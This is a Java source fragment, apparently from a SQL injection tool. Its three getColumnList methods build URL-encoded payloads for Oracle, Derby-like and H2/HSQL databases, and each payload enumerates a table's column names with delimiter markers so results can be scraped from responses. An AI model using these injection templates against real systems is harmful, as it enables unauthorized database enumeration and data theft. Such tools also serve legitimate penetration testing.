@Override
 public String getColumnList(Table table) {
   return "select+"
       + "utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(replace("
       + "replace("
       + "XmlAgg("
       + "XmlElement(\"a\",rawtohex('%04'||s||'%050%04'))order+by+s+nulls+last"
       + ").getClobVal(),"
       + "'<a>',''),"
       + "'<%2Fa>',rawtohex('%06'))||rawtohex('%01%03%03%07'),4000,1)AS+VARCHAR(1024)))"
       + "+from(select+t.s+from(SELECT+DISTINCT+column_name+s+"
       + "FROM+all_tab_columns+where+owner='"
       + table.getParent()
       + "'and+table_name='"
       + table
       + "'"
       + ")t,(SELECT+DISTINCT+column_name+s+"
       + "FROM+all_tab_columns+where+owner='"
       + table.getParent()
       + "'and+table_name='"
       + table
       + "'"
       + ")t1+"
       + "where+t.s>=t1.s+"
       + "group+by+t.s+"
       + "{limit})+";
 }
 @Override
 public String getColumnList(Table table) {
   return "select+rr||'%01%03%03%07'r+from(select+'%04'||trim(t.COLUMNNAME)||'%050%04'rr+"
       + "from(select+distinct+COLUMNNAME+from+COLUMNS+where+SCHEMANAME='"
       + table.getParent()
       + "'and+TABLENAME='"
       + table
       + "')t,(select+distinct+COLUMNNAME+from+COLUMNS+where+SCHEMANAME='"
       + table.getParent()
       + "'and+TABLENAME='"
       + table
       + "')t1+"
       + "where+t.COLUMNNAME>=t1.COLUMNNAME+"
       + "group+by+t.COLUMNNAME{limit})a";
 }
 @Override
 public String getColumnList(Table table) {
   return "select+"
       + "concat("
       + "group_concat("
       + "'%04'||"
       + "convert(n,SQL_VARCHAR)||"
       + "'%05'||"
       + "0||"
       + "'%04'+"
       + "order+by+n+"
       + "separator+'%06'"
       + "),"
       + "'%01%03%03%07'"
       + ")r+"
       + "from("
       + "select+"
       + "COLUMN_NAME+n+"
       + "from+"
       + "information_schema.columns+"
       + "where+"
       + "TABLE_SCHEMA='"
       + table.getParent()
       + "'+"
       + "and+"
       + "TABLE_NAME='"
       + table
       + "'+"
       + "order+by+n{limit}"
       + ")x";
 }